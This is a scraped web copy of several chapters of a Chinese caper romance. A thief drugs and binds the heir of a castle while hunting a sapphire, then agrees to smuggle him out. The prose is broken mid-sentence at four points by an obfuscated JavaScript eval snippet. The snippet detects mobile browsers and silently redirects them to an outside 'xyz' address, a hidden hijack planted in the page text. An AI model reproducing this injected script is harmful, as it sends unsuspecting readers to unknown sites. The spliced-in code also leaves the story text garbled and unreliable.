在城堡里工作时,她从保洁阿姨们的闲谈中了解到,温大少习惯早睡,晚上九点后,不允许任何人出现在自己的房间。 南希决定,等那纯欲小美男一睡着,就翻窗户探进去。 这个法子,唯一的难点是房间内的塑钢窗。 那窗户结实,破窗必有动静,小美男还是个神经衰弱的,一旦被惊醒—— 南希瞅了眼刘总给她备的一大包装备。包鼓鼓的,东西好像比往常多了些。 ——她就只能用包里的迷药了。 手表上,分针慢慢指向十二,与时针慢慢形成一个开口向左的直角。 就在这个时候,远处城堡的画面突然发生了变化。 三楼的一扇塑钢窗破天荒开了。 白纱窗帘飘出,混在飞雪中,像一片落单的云。 半根烟蹭着车身掉进雪地里,很快熄灭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223768|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南希举起了望远镜,反复确认这画面是事实,不是做梦。她捏了把自己的大腿,疼的—— ——她还真是狗屎运。 一切似乎变得简单了。理了下思绪,她从大包里掏出一顶火红的假发带头上,然后拉开羽绒服拉链,露出黑色紧身衣。 等分针又转了一圈,一个拖着红色尾巴的黑影从车上跑了出来,速度快得不像人。 仅仅五分钟,那黑影就已穿越巨树、山坡、雪地,到了温沙城堡脚下。 与此同时,城堡半空中闪过一道银光,只见一根长爪子的钢丝,自下而上,划破空气,稳稳地抓住了三楼窗台。 而钢丝的另一头,是一抹飞扬跋扈的红。 南希捋了下红发,抬头仰望,不知在手腕处按了什么,那钢丝顿时收紧。 她随之一跃,借助钢丝收缩的劲力,手捋丝,脚蹬墙,跟壁虎似的,眨眼翻上了三楼窗户。 白纱乘风,抚过她的脸。 还是那股浓烈的医院味儿。 她感到心跳正在加速。这种情况,在她多年的工作经验中极少出现。 她呼了口气,让心绪平静,再次按压手腕。 下一秒,脚边的钢爪放开窗台,随着钢丝,无声钻入她的紧身衣袖。 然后,她转过头。 她来了……她的纯欲小美男! 只是…… 眼前的景象与她料想的有些不同。 屋里的确有个小,男…… 那小男,身体盖在被子里,只露个头。 头上有一只瞪得和癞蛤蟆很像的眼睛,剩下的地方她也分不清那些是什么,纵横交错,乱七八糟…… 见鬼…… 南希吓得胡乱一挥手,洒出把迷药。 床上那东西翻了个白眼,晕死过去。 万事尽不在掌控。 南希稳了稳神,瞄到对方枕头上有道浅浅的影子,确定他不是男鬼,终于从窗台跳下去。 书架上,纯欲小美男还在冲她笑。 只不过笑容已经变质,透着股阴森。 她打了个寒战,随便顺了件大衣披上。 衣服上有股淡淡的香味,是梅花香。 看来,不管那照片上的人是谁,床上这个,就是温大少本尊…… 怒气不打一处来。 南希以防止温大少突然苏醒为借口,用刘总搞的装备把他绑床上,给他嘴里塞上臭抹布,然后开始找蓝宝石。 没一会儿,她找到一处暗格。 温大少床头柜最下面的抽屉里还有个抽屉,上了锁。 南希掀起紧身衣,从内衣下缘抽出一根细长的铁丝,捏手里飞快捯饬了几下,竟弄成了个细长的钥匙。 钥匙入锁,“咔嚓”一声,抽屉开了。 她一点点拉开抽屉,眼神一点点变亮…… 两个小时后。 冰冻的房间里终于有了点人声。 “哼,嗯,呃……” 南希转过身,迷离地看着眼前挣扎不已的男人,抬手捋了捋被风吹乱的假发。 “醒了?” 5. 第 5 章 “哼,嗯……” 温雪生拼命地挣扎,床“咯吱咯吱”响。 再响下去,得把楼下的人吵醒。 南希像猫一样走过去,哄他:“乖,别出声。” 哄人她在行,尤其是哄男人,但只哄不行,容易给惯出坏毛病。 话音没落,手就抚上了对方鼓鼓囊囊的腮帮子,语气随之一转: “如果不乖的话——” “哼,嗯,呃……” 温雪生好像吓着了,挣扎得更用力。 南希埋怨似地叹了口气,压着前胸慢慢靠近,红唇掠过对方凌乱的额头,浅浅地亲了一下。 “——姐姐,就教你乖。” 这么一套软硬兼施的驭男术下来,温雪生果真不再挣扎,只剩身体不受控制地颤动。 南希立马捧起他的脸,双唇沿着他的面颊,缓缓滑到耳畔。 她几乎是用气息说:“别怕,我知道电视上那些傻瓜说姐姐是鬼,可你感受下姐姐的温度,热吗?姐姐能是鬼吗?” 对方哆嗦了下,好像在忍耐什么,没再给出反应。 南希笑了,呼出的热气肆虐地钻进男人耳朵:“姐姐就是想问你件事,你只需要点头,或者摇头。” 温雪生终于忍不住,又是一个猛烈的哆嗦。 就是现在。 南希开口:“你书架上有个摆台,那上面的帅哥是谁?” “哼,嗯,呃……” “好吧,姐姐换件事。” 她结束试探,进入正题。 “姐姐在找一块蓝宝石,你知道它在哪儿吗?” 刚刚过去的两个小时,南希把整间屋子翻了个底朝天,却连蓝宝石的影儿都没瞧着,于是决定,当面向温大少讨要。 她瞥了眼床头柜的最下层—— ——这么做绝非鲁莽,而是,她已经拿到了可以掌控温大少的筹码。 温雪生浑身紧绷,没摇头也没点头。 南希有的是耐心,她不信有男人能在她手下撑过三个回合。 “你就告诉姐姐吧,嗯?” 右手揉着温雪生的侧脸,嘴唇越凑越近,说到最后一个字时,几乎要含上他的耳垂。 那耳垂发烫,又红,直红遍了他整张脸。 温雪生再次挣扎,先是摇了一下头,而后又变成点头,像捣蒜一样。 南希只觉得他是怕了,快招了,眯着眼睛说:“那你跟姐姐说说宝石在哪儿,好吗?” 还是捣蒜状态的点头。 南希很满意,决定把抹布从温雪生嘴里拿出来。 伸出手时,她从男人眼中捕捉到一丝明光。 那手停在了半道。 “你不能出声哦,否则,姐姐可就不温柔了。” 温雪生继续点头,藏起自己的期待。 抹布就被取出了。 有那么一秒钟,温雪生是震惊的,他不相信眼前这妖艳的女鬼这样好骗。 可,关他什么事。 他没有犹豫,甚至没有吸气,嘴巴恢复自由后直接放声高喊:“来——” ——人…… 可惜,两个字只发出了不到半个音,口腔就再次被暴力填满。 温雪生觉得自己不能动,不能呼吸,他要憋死了……等他渐渐反应过来发生了什么事情后,对方已经离开了他的嘴。 然后,一个绵软潮湿的吻落了下来。 这个吻很长,对方小心且轻柔,一点一点,再次探入刚刚逃离的湿热秘境。 温雪生闭上了眼。 南希却等不及了,毕竟她不喜欢亲丑男。 按照以往的经验,当一个男娃子被强吻时,必然会反抗。 反抗就会咬她,咬出血。 这样,她才能娇滴滴地哭出声,惹对方心疼。 可是,温大少没有。他更像一个听话的玩偶,任凭她摆弄。 没意思。 南希玩够了,放开了他,下一秒,耳边响起句沙哑的话。 “你,为什么不关窗?” 嗯? 南希低头,打量眼前的丑男。 这该是被强吻后说的第一句话吗? 他这是被亲爽了?还想继续?怕被看着? “为什么……” 温雪生又问了一遍,好像有些紧张。 南希翻了个白眼: “窗户本来开着,我如果给它关上,可能会引起外面人的注意。要是有人进来抓我,你又不会站我这边儿。” 温雪生好像没听到她的话,又好像根本就没打算听她的话,继续自顾自地问:“你……不怕我吗?” 南希发现他被捆在床上的手攥成了拳头,立马意识到,自己接下来的回答会非常重要,关系到温大少能否乖乖告诉她蓝宝石在哪儿。 “不怕。在我眼里,你很可爱。”南希违背良心说。 温雪生的拳头松了,嗓音更沙哑。 “你走吧,走的时候帮我把窗户关上。我不会告诉别人你来过,也不会有人去抓你。” ? 南希:“等等……你是不是忘了件事儿,那个,蓝宝石。” 温雪生:“我不知道你在说什么。我没听过、也没见过什么蓝宝石。” 装傻? 南希有些不开心了。她一抬腿,翻上了床,右手抵住床头,左手撑在温雪生耳边,脑袋快速往他脸上压。 温雪生侧过头,嘴抿成线,一副宁死不从的摸样。 南希停下动作,看着他冷笑:“大少爷,你是不是想多了?回过头来,我不亲你。” 温雪生犹豫了会儿,然后听话照做,可头还没回正,嘴巴就被啄了一下。 两个人的鼻尖顿时相错,然后又碰在了一起。 温雪生睁眼,气急:“你……” 南希:“你什么你?温大少,我没功夫陪你玩,我来这儿就是为了那块蓝宝石,找不到,就不会走。” 温雪生:“那我收回刚才的话,我现在就喊人来……” “你喊啊,要是真有人来了,我就把那东西给他。”南希斜眼,看向床头柜。 温雪生瞳孔缩紧:“什么东西?你,你干什么了?!” “也没干什么,就是在你这屋子里随便翻了翻,翻到个奇奇怪怪的东西。”南希坏笑,“那东西啊,现在在我这儿呢。” 温雪生的癞蛤蟆脸胀得通红:“你,你,你还给我,我不叫人。” “可以,用蓝宝石换。” 温雪生沉默,没一会儿又开口:“好。你能不能先帮我关上窗,我……快冻僵了。” 南希不耐烦,但还是起身把窗户关了。 她抱着双臂站床边,居高临下。 “可以了吧,蓝宝石到底藏哪儿了?” 温雪生避开她的视线:“刚才我没骗你,我的确不知道你说的东西。但是你先别急,你能不能跟我描述下那个蓝宝石长什么样,有多大?说不定我能想起些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223769|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。” 南希哑了声,这个问题她答不出。 温雪生看出来了:“难道,你也不知道蓝宝石长什么样?” 南希:“对。” 不光蓝宝石,她以前做过的所有任务,都是只有宝贝名字,没有具体样貌信息。 温雪生看向南希:“你没见过这东西,又该怎么找?” “我知道它是蓝宝石就够了。” “不够,这不合理,也不科学。我现在就可以随便弄块蓝色石头,告诉你那就是你要找的蓝宝石。” 南希觉得有些头痛。 这些年,哪怕只凭名字盗宝,她也从没偷错过。 她不想再继续这个话题。 “我劝你不要动歪脑筋,你要是搞个假货忽悠我,我百分百能识破。” “怎么识破?” “我……” 咚咚咚…… 南希的话被一阵敲门声打断。 门外传来男人的声音:“少爷?您还没睡吗?” 南希望向房门,又转向温雪生。 温雪生没看她,目视天花板,神情淡然且冷漠。 南希眯起眼,好像明白了些什么。 “少爷,我看您关窗了,就想着您肯定还没睡。您是冷了吧?王妈给煮了碗姜汤,喝上就能暖和了。对了,老杨还给送了点儿木炭,我进去给您把壁炉填满吧。” 南希怒视温雪生,咬牙切齿:“你故意的!你先是套我的话,然后让我去关窗,这些都是为了引李管事来!” 温雪生斜眼:“你知道李管事?看来是有备而来。” 南希:“再废话我就把你那东西给李管事!快说蓝宝石在哪儿?!” “不知道。我劝你快些走,李管事可不好惹。” 咚咚咚…… 门外的男声略有些急躁:“少爷?我怎么听着你屋里有人啊?我进去了啊……” 温雪生直视南希,目光阴冷:“现在走还来得及。” 南希:“靠。” 吱呦—— 门开了。 南希翻窗而出。 不合身的大棉衣飞落。 李大发迈进门,寒气逼人,冻得他打了个喷嚏。 视野里,大开的窗户,被绑在床上的少爷…… 他一时不知道该先管哪边儿。 温雪生发话:“先关窗,再给我解开绳子。” “好,好,好。” 李大发跑过去,一边干活一边叹气:“少爷,你这是咋了,难不成,刚才屋里还真有个人?” 温雪生:“没有。” “那这是?” “我自己弄的。” “不像啊……” 温雪生已被松绑,他撑起身体半靠上床头,简单活动了下手腕,忽然目光一沉。 “我的事儿,什么时候轮到你问来问去了?” 李大发赶紧闭嘴。 少爷既然说了这话,就代表不想再听到他的声音,也不想再看到他。 他利索地忙活完姜汤和木炭,朝温雪生鞠了一躬,转身要走。 温雪生叫住他。 “等等。” 少爷还从没赶人走后又后悔的。 李大发回头,脸上挂着抹疑惑的笑。 温雪生:“今天的事,别又去跟老头儿打小报告。” “诶,好。” “还有,这地儿,我是说这座城堡。有没有一块蓝宝石?” 6. 第 6 章 “老板,要不要录像带啊?周星驰!凌凌漆,九品芝麻官,还有今年刚上的食神!租一天就3块钱!诶诶诶,老板别走别走,我这儿肯定有你喜欢的,日本的、香港的,你懂啊,都一个钱,3块!” 冬季冷清的夜市,一个夹公文包的啤酒肚被路边小贩拦了下来。 啤酒肚扫了眼小摊车上摞得厚厚的录像带,最上面的带子贴着俩丰.乳.肥.臀的少妇。 “孩子还在里面等我吃饭呢。”啤酒肚打开小贩的手,冲路南的“小张拉面”扬扬头,“让她看着不好。” “我有黑袋子,看不着。” “不了不了,下次下次。”啤酒肚敷衍地挥手。 “行,那老板下次一定来啊,我每天都在!” “好好好,一定一定。”啤酒肚小跑窜进面馆。 馆子里全是人,乌泱乌泱,和外面像两个世界。 公文包被甩在旮旯里的小方桌上。啤酒肚抽出凳子坐下,对面已经有人,是一个穿纯白羽绒服的马尾女孩。 女孩收起公文包。 “二叔,你来了?” 啤酒肚右眼皮跳了跳,探头凑近女孩:“我咋又成你二叔了,小张?” 女孩也探头:“你说啥?” 啤酒肚放弃刚才的话,直起身:“小张啊,你说说你,有什么事不能打电话非得见面跟我说啊?”他那双老鼠眼左右瞟了瞟,“见面也就算了,你怎么还选了这么个地儿,人也忒多了。” 女孩就是南希。 她单手撑起下巴朝对面眨了眨眼:“刘总,人多才好,人越多,越没人在意你。再说,就算有人想在意,他们也听不着你说了啥。” 刘总:“我都要听不着了!” “诶,您的两碗面!上齐了!” 服务员小哥打断刘总,他端着两大碗红烧牛肉面,急火火走过来,把面放好后又急火火跑了。 刘总瞅瞅面,满脸嫌弃:“你说请我吃的大餐,就是碗破面条?小张,你赚那些钱,就不能大方一回?” 南希出溜了一口拉面:“香!刘总,我小时候吃不上饭,站在拉面馆门口,闻着里面的香味流口水,从那时起,我就觉得拉面是世界上最大……” “打住,我不想再听你小时候那些烂事了。现在是九六年,时代变了,社会大发展,吃不上饭的人不多了。” “唉,可总有人吃不上饭……” “……你咋了,怎么感觉没啥精神?任务出问题了?” 南希一下子泄了气,推开面,趴桌子上,像朵蔫了的花:“Bingo,你猜对了。刘总,这次我可能真要栽了。加今天,还剩三天,任务就到期了……那个要偷的宝贝,我还不知道藏哪儿呢。” “窃听器里还没消息?” “是啊。那个温大少是个神经衰弱,他自己不说话,整个城堡也安静得跟没人一样。” “那……你不是有三次放弃任务的机会吗?都用完了?” “你忘了?我刚入行的时候用了一次,有次任务突然跨国,我护照没办下来,用了一次,前年男朋友不想分手,天天缠着我要同归于尽,我又用了一次……” 刘总额头上冒出一滴汗,明显是慌了神。 “你最近自信过头,人都飘了,这种事你怎么不早说?!完不成任务可是要给组织赔偿的!我听说西北的一个执行人赔光了自己所有的积蓄。你这次的任务等级高,我估计都不是赔钱的事儿……” 说着说着,刘总意识到南希为什么会突然请他吃饭,而且还是吃这么便宜的饭,深感这顿饭意义特殊,连忙拿筷子往嘴里扒拉了几口。 南希更蔫了,伸出手,够到刘总的胳膊:“老刘,帮我。” 刘总还没见过南希这样,心里发堵,当初是他劝她接的这任务。 “别急,我一会儿就去跟组织打申请,看看能不能延长任务的期限。” 南希动动手指头,轻戳刘总:“谢谢你,老刘……还有件事得请你帮忙,我想想见见那个孙老太。” “孙老太?我闺女同学的,奶奶?” “嗯,我想让她再带我去一趟温沙城堡。” 南希把在城堡里发生的事跟刘总讲了一遍,当然,调戏温大少那段她给省了。讲完后,她又说:“老刘,其实,我约你到这儿还有别的原因。” 南希环视嘈杂的面馆:“这里这么多人,你说有没有他温大少的人?要是温大少记仇想抓我,我现在是不是已经不在这了?” 刘总用筷子敲碗:“别看了,人家都说了不会叫人抓你。” 南希回过头:“老刘啊,你四十多年的饭白吃了?□□说的话你也信?!”她顿了顿,“不过,话又说回来,我还能坐在这儿,说明他没骗我……唉,你说他为什么就这么守诚信呢?我他妈想回去啊!” 刘总:“你那一身爬墙的猴子本事为啥不用?你趁天黑再探进去啊。” “废话,这我能想不到吗?温大少虽然没想抓我,却也不想让我再回去了。这两天温沙城堡周围多了不少保安,一天到晚轮岗值班,李管事亲自盯着,严得很,我去了两趟都没找到能探进去的机会。老刘,现在时间紧,能帮我回去的,就只有孙老太了!” “他们这是紧急戒备了。现在这情况,孙老太也没招儿吧……” “人不可貌相。你别看她那样,城堡里的人都还挺认可她的,特别是那个李管事,要不,当初也不会用她推荐的大侄女。老刘,我知道你有她的呼机号,你呼她,让她给你回电话。” “她在城堡干活,不一定能及时看呼机啊。” “你错了。前两天,她唯一的孙子发高烧,找不着她差点挂了,这事儿才刚过去,她的呼机一定不会离手。” 刘总觉得在理,立马掏出跟南希一样的摩托罗拉,拨通寻呼台服务号给孙老太发消息: 请机主速回电话至13086688866。 操作完后,刘总与南希心照不宣地快速吸完拉面,一前一后出了沸沸扬扬的面馆。 不远处的马路牙子上停着辆黑色奥迪,这是切诺基被抢后,刘总才提的新座驾。 两人一上车,摩托罗拉就“哔哔哔”的响了。 一个陌生的座机号。 刘总接起电话,果然是孙老太。 她语气很急,上来就问刘总是不是她大孙子。 刘总跟她掰扯了半天,好不容易才解释明白扯回正题,说是自己大侄女勤工俭学,觉得之前在温沙城堡干得还成,想趁放寒假的机会回城堡做临时工,赚点生活费。 上次孙子长病,刘总帮了不少忙,而且那个大侄女也挺能干,孙老太不好推辞,答应帮着问问李管事。 十分钟后,孙老太回电,李管事不同意。 车上气氛陷入低沉。 南希和刘总各自瘫在自己的座椅上,谁也没看谁,谁也没理谁。 不知过了多久,南希深深地叹了口气,颇有种自嘲的意味。 “刘总,你不是说我狗屎运吗?” 刘总望向窗外。 街上人很少,树很秃,到处都泛着萧瑟气息。 那个卖录像带的小贩竟然还在。 刘总:“唉,是啊,你不该是狗屎运吗?” 哔—哔哔—哔—哔哔—哔— 南希有气无力:“刘总,接电话,吵死了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223770|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “他妈的,谁啊,大晚上的打什么电话!” 刘总一边骂骂咧咧,一边掀开手机盖,突然惊坐起,眼睛瞪成了球。 南希凑过去。 黑白长条屏幕上显示着来电号码。 又是刚才的座机号! 两人相视一眼,两颗心都提到了嗓子眼。 滴—— 电话接通了。 刘总:“歪?” 另一头:“小刘,刚才李管事跟我说,他改变主意了,咱大侄女能来了,明天就可以报道!” 放下电话后,刘总还有些懵。 “小张,我跟你说个好消息。” 南希打断他:“不用说了,孙老太那大嗓门,别说隔着话筒了,隔着一条街,我都能听见。”她拍拍刘总的肩膀,“老刘,那我先走了,咱俩都准备准备,明早去温沙城堡。” 说完,她下了车。 刘总脑袋探出车窗:“欸,小张,你急啥?我送你回去啊!” 南希没回头。 刘总的视线里,萧瑟的街道,清丽瘦弱的女大学生停在了录像带小摊旁,洁白的羽绒服蹭过一厚摞录像带,自然地从里面抽了两个,包黑塑料袋里揣进了怀。 * 十二月三十。 南希又穿上了大棉袄,挎上了大包袱。 下了大巴车,老远,她就看到了孙老太。 老太身边,还站着个西装革履的男子。 那人长得不算高,但隔着好几十米,南希就感受到了他身上的威压。 她咽了口唾沫。 妈啊,李管事怎么也在…… 五分钟后,南希终于走到他俩面前。 碍于李管事,孙老太简单跟她唠了几句家常话便没再出声。 这就轮到李大发说话了。 他上下打量南希,问她:“腿不好?” ? 南希不懂李管事的意思,视线投向孙老太,想从她那儿得到这句问话的标准答案。 孙老太摇头,很是懵。 今天一大早,李管事找她,说要跟她一块儿去接她的远房大侄女。 打那时起,她就懵得不行了。 李大发见南希没回答,继续问:“包袱沉?” 连续两个没头没尾的问题被抛出,现场氛围一度逼近紧绷。 南希受不了了,硬着头皮答:“嗯,是有些沉……那个,您为什么问这些?” 李大发面无表情:“哦,你走得太慢。” 南希:“……” 路上,李大发终于没再问奇怪的事儿。南希跟着他,顺利通过一道道关卡,再次踏入温沙城堡。 进门后,李大发支开了孙妈妈,叫她继续随自己走。 他上楼,南希就跟在他屁股后面。 他也不回头看她,一步一台阶,一台阶一句问话: “听说你是大学生?” “是,是的。” “济东大学的?” “额……对。” “自己考上的?” “是呀。” “大二?” “嗯。” “哦,我家少爷也是。” “额,啊?” 李大发没再理她。一路死寂。 没一会儿,南希闻到一股幽香,恍然发现,她竟被带到了三楼,正在穿越一排排梅花树。 李大发在温大少房门前停下,轻轻敲了敲门。 “少爷,人到了,就在门口,您要现在见还是……” 门内传出一道阴森的男声,李大发的话被毫不客气地打断。 “让她进来。” 7. 第 7 章 李大发小心翼翼地推开门,领南希进屋。 一个藏青色,左眼罩着黑布的独眼龙半躺在床。 南希偷偷瞄了眼,被一束锐利的光线吓到,没敢再看他。 “我说的是让她进来。” 那独眼龙语气弱,只有“她”字说得重。 这话是说给李大发听的。 李大发关门的手僵在胸前,回头应了声“是”,快速拉门离开,在门合上的一刹那,留给南希一个警告意味的眼神。 壁炉烧得正旺,南希额头直冒汗。 她觉得自己像只待宰的羔羊,这种身份是不能出声的,出声容易死。 可宰她的屠夫也不出声。 那屠夫躺着,而她站着,她腿酸。这样下去也不是办法。 她从口袋里摸出一个两毛钱钢镚,放手心背身后,扔高,接住,指尖触摸。 正面。 嘴角浮上笑意。 大包袱“扑通”落了地。 南希扬起头,涂着高原红胭脂的脸蛋上多了抹妩媚。 “温大少,才两天不见,您就想我了呀?” 最后一个话音落地时,她扭到了床边,伸出食指,就要勾起那床上人的下巴。 对方避开,眼神闪躲,看向别处。 屠夫和羔羊换了位。 南希笑得更甜,手指滑到男人胸口:“怎么了,还害羞了?又不是没亲……” “够了。”温雪生转过头,脸色黑青,“你比我想象中的还不要脸,连装都不装!” “装什么?装一朵小白花?哭啼啼地说''大少爷,你认错人了?''” 南希的确在脑中幻想过这个破局方法。 装傻,在任何时候都能保命,更何况她现在的打扮、气质跟两天前完全不同。 可是,她抛出了正面! 南希信老天爷,她小时候找不到家,路边捡到一分钱,抛出正面,遇到了改变命运的贵人。后来,只要碰上事儿她就扔钢镚,凡见正面,老天爷就站她这儿,逢考必过,逢赌定赢。 老天爷这是让她大胆赌啊—— “温大少,我要是这样说,你会信吗?”南希坐温雪生身侧,不近不远,气息又偏偏能蹭上他半盖着耳朵的鬓发,像是在给他挠痒痒。 ——南希大胆开赌,赌温雪生没有恶意。 南希:“你不愿意说的话,那我替你说。你百分百不信,因为呀,你早就查清了我。” 温雪生往边上挪了下,声音不稳。 “我不知道你是谁,怎么查?” 南希笑笑:“温大少,我没装,你怎么装上了?唉,既然这样,那你就听我给你分析分析。 “那晚,我在你这儿啥也没拿到,你知道我一定会回来,但你又不知道我该怎么回来,毕竟这座温沙城堡紧急戒备,连只苍蝇都飞不进来。 “巧的是,昨天,有个人托孙妈妈帮忙,要来城堡当临时工,这就引起了你的注意。要是我没猜错,孙妈妈去问李管事的时候,你就在旁边听着吧。城堡现在情况特殊,李管事一向谨慎,肯定一口拒绝,可你不一样,你心里有事。 “那晚我说漏嘴,提到了李管事,而叫他这个称呼的,百分之九十都是那些在城堡里干活儿的。于是,你向李管事打听了我的情况,调出了我的信息,也让他改口,答应我当临时工的请求,并且让孙妈妈转告我第二天就能报道。” 温雪生沉沉:“这些都是你的猜测。” 南希:“温大少你先别急,我这么说,肯定有这么说的道理。我是济东大学的学生,这事儿你知道吧?” 温雪生长长的睫毛忽闪了一下,没回应。 南希继续:“你知道,李管事也知道。但有件事你们不知道,这事儿,孙妈妈她不知道啊。” 温雪生眼睛睁大。 南希暗爽,起身俯视着他:“大学生哎,还是个女大学生,在这个社会多宝贝啊,我顶着这身份要去给人拖地,孙妈妈这种老思想的怕是不能同意。这次,我用勤工俭学的名义来干活儿,也只是在电话里粗略地提了一嘴,没跟她说我上的是什么学。那么,你们是怎么知道的?哦!你们不仅查了我上次留在这的档案,还上手段,查了我社会上的信息。 “温大少,你把我查得这么清楚,总不会是闲的吧?我就琢磨啊,你肯定是还想再见我一次,因为我这儿有你想要的,比如说——”南希瞟了眼床头柜,“——那东西。” 温雪生闭眼,终于开口:“外面那些保安不是我安排的。” “嗯,额?” 温雪生的回答超出了南希的预料。 “你的身份信息也不是我查的。你是谁我不在乎。”温雪生抬头,刚刚睁开的眼睛撞上南希疑惑的视线,顿了下,看向窗外,“但你能站在这儿,的确是我的意思。” 南希蹙眉。 这位大少爷,好像,还挺替她着想的哎……但是—— ——“不管怎样,那东西我不会还你,除非你拿蓝宝石交换。” 温雪生:“我找你来,与那东西无关。” ? “我想请你帮我一个忙。” 气氛很怪,事情好像正在往一个诡异的方向发展。 “什么,忙?” 温雪生没应声,挪动身体到床边,把腿放到床下,向南希伸出一只手。 “能扶我一下吗?” “你自己起不来?” 温雪生看地:“嗯。” 南希半信半疑,搀着他的胳膊,扶他从床上站到地上。 他穿着宽松绵软的睡衣,身体在睡衣里咣荡,看起来很瘦,扶着倒挺重。 这么沉,连个“谢”字都没有。 南希忽然松手,温雪生的身体就向前倾去了。这姿势脸朝地,扑下去得掉个门牙。 看来不是装的。 南希又伸手把他拉住。 不知是碰到了哪儿,对方“嘶”了一声,好像有些痛苦。 南希换了个姿势。 温雪生很生气,脸很红,站稳后,有气无力地吼:“你干什么?我差点摔倒你知道吗?!” 南希:“呦,难道大少爷长这么大还没摔过?那我觉得你可以试试。” “你!” “诶,你再凶我,我可就松手了。” “你现在就松手!”温雪生甩开南希,双腿有些抖,却还站着。 南希打量他。 看样子这温大少不是瘸子,只是长期卧床,突然起身有些肌无力。 她失去筹码,见好就收,眯着眼睛,语气放柔:“温大少,像您这种身份的,有什么忙,需要我来帮呀?” 温雪生还在生气,不看她,缓慢地走到窗边。 窗外,积雪化得快没了,只剩一望无垠的黄色草地。 一双骨节分明、藏青纹路纵横的手撑在窗台上。手背上好像鼓起了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223771|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三条青筋。 良久,温雪生回:“我想去外面看看。” “嗯?那你去呀。” “我是说离开温沙城堡,去济东市看看。” “那就让李管事送你去呀。” “他不会送我的,他只听我爸的。” “额……你爸把你关这了?” 温雪生沉默,一会儿后,开口:“你带我出去,我给你蓝宝石。” ?! 这小子还之前还真骗了她! 南希撇嘴。 “怎么带?” 可惜,这句话没说出口。 她恍然大悟,自己爬墙翻窗的本事,在两天前的雪夜,这位温大少就已经摸得清清楚楚了。 * 晚七点。 温雪生吃完了牛肋排,煎鸡蛋,南瓜粥,玉米粒,还有半块胡萝卜和苹果。 半年来,这是他吃的最多的一顿。 李大发开心坏了,安排人把跨年烟花秀提前了两个小时。 南希踩着爆裂的烟花,推开了温雪生的房门。 王姐正巧撞见,担心出事儿,又不敢敲门问情况,跑去找李大发让他敲门。 李大发端着酒杯摆摆手,笑意迷离:“诶,你可别去添乱啊。咱少爷多大了,都二十了!是个男人了!那女的,别看来咱这儿当临时工,我都查过了,她可是个大学生,人家那是勤工俭学!你莫得担心,咱少爷眼光好着呢!”他举起桌上的酒瓶,“妹妹,你来,过来,这是咱少爷刚送我的,你要不要尝尝?毛子的伏特加,够烈,香!” 轰隆—— 烟火在天上绽放成一团靓丽的花。 温沙城堡三楼,温雪生坐在窗前赏景,色彩斑斓的光打在他脸上,盖过了那些藏青色。 南希走到他身后,问:“什么时候走?” 温雪生没听着。 烟花的声音实在太大了。 南希便没再出声,比起驮着一个累赘从窗户上跳下去,她更愿意看烟花。 五分钟后,温雪生发现了南希。她望着窗外,眼睛闪烁,好像有星星。 温雪生拽她的袖子:“你来了怎么也不说一声?” 这话很好猜,再配上温雪生的嘴型,哪怕他声音小,南希也懂他的意思。 她扯着嗓子回:“你看得出神,我没忍心打扰!” 一句谎话。 温雪生却受用,不再追究刚才的事,而是问她:“你准备好了吗?” 南希指指耳朵,递给他纸和笔。 温雪生夺过来,只写下一个字:走。 白天,他以庆祝元旦为由,给温沙城堡放了假,除了极个别值班人员,保安、保洁、厨子等等等等全都回家跨年去了。 曾经给南希造成困扰的障碍已被解决。 她没理由准备不好。 南希耸耸肩,褪去大棉袄,露出紧身衣。 烟花再一次绽放,整座温沙城堡都听不到其他声音了。 绚烂的花心之中突然冒出一个黑色影子,一闪即过,好像幽灵。 再能瞧见时,那影子已经窜到一公里开外的小山坡。 一辆锃光瓦亮的黑色奥迪停在那儿。 司机摇下车窗。 眼前,一位纤瘦的少女正穿过树丛,她背上用绳子绑着个样貌可怕的长刘海少年。 两人都气喘吁吁。 两张脸,紧紧贴在一起。 8. 第 8 章 司机看不下去。 这俩人实在挨太近了! 他开门下车,小跑到南希身后解绳子。 一边解,一边拽她背上的丑男人。 温雪生慌了,胳膊用力,搂紧南希的脖子。 “他是谁?怎么有外人?!” 